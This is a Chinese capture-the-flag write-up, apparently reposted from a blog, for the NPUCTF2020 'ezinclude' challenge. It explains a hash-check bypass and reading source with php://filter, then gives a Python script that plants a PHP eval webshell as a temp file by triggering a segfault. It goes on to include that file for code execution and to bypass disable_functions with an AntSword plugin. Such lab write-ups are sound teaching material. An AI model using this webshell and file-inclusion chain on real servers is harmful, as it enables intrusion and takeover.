BUUOJ-[NPUCTF2020]ezinclude 1

BUUOJ-[NPUCTF2020]ezinclude 1

涉及的知识点

  • 文件上传时的临时文件
  • php7 文件上传时 Segment Fault,上传的临时文件不会被删除
  • 绕过disable_functions

解题过程

0 信息收集

没啥能下手的,扫个目录,存在index.phpdir.php404.html

1 index.php

访问题目,返回如下内容

  • Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)
  • 如果$name='',则有$md5($secret.$name)===$md5($secret)===上面的Hash
  • /?pass=上面的Hash即可,或者带上&name=传递空值

提示跳转到flflflflag.php

2 flflflflag.php

访问flflflflag.php,提示有文件包含

php为协议读源码/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php(去掉了html部分)

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

可以看到过滤了data,input,zip协议

通过http协议测试,发现并没有返回内容,说明allow_url_include=Off

那么,data://,php://input都是不可用的(可以参考伪协议可用条件)

可以用unicode编码绕过preg_matchpreg_match执行后,会自动转义unicode&#十进制ascii;

这里需要用到一个特性,在上传文件时,如果出现Segment Fault,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要HTTP请求中存在文件,那么就会被保存为临时文件,当前HTTP请求处理完成后,垃圾回收机制会自动删除临时文件。

使php陷入死循环直,产生Segment Fault的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)

  • 使用php://filter/string.strip_tags/resource=文件
    • 版本要求:
      • php7.0.0-7.1.2
      • php7.1.3-7.2.1
      • php7.2.2-7.2.8
  • 使用php://filter/convert.quoted-printable-encode/resource=文件
    • 版本要求:
      • php<=5.6.38
      • php7.0.0-7.0.32
      • php7.0.4-7.2.12
    • 函数要求
      • file
      • file_get_contents
      • readfile

这里只能使用string.strip_tags,可以通过以下脚本上传文件

import requests
from io import BytesIO


payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)

关于临时文件,可以简单说几句

  • 存储路径,由php.ini中的upload_tmp_dir指定,
    • linux下默认值/tmp/
    • windwos下默认值C:/Windwos or C:/Windwos/Temp/
  • 命名规则
    • linux下,php+6个随机字符
    • windows下,php+4个随机字符.tmp
  • 生命周期
    • 开始处理带有文件的POST请求
    • 保存临时文件,并写入数据
    • 执行php脚本
    • 删除临时文件

3 dir.php

访问/dir.php找到临时文件名,并通过/flflflflag.php?file=/tmp/临时文件名进行代码执行

flag在phpinfo()

本着拿shell的心态,可以绕过disable_funcitons

4 绕过disable_funcitons

用蚁剑连接会发现返回ret=127,含义为无法执行命令,可以手动(参考CTFHub->技能树->Web进阶->PHP disable_functions)或者使用蚁剑的插件进行绕过

使用PHP7_GC_UAF模式即可

参考

原文地址:https://www.cnblogs.com/R3col/p/14929237.html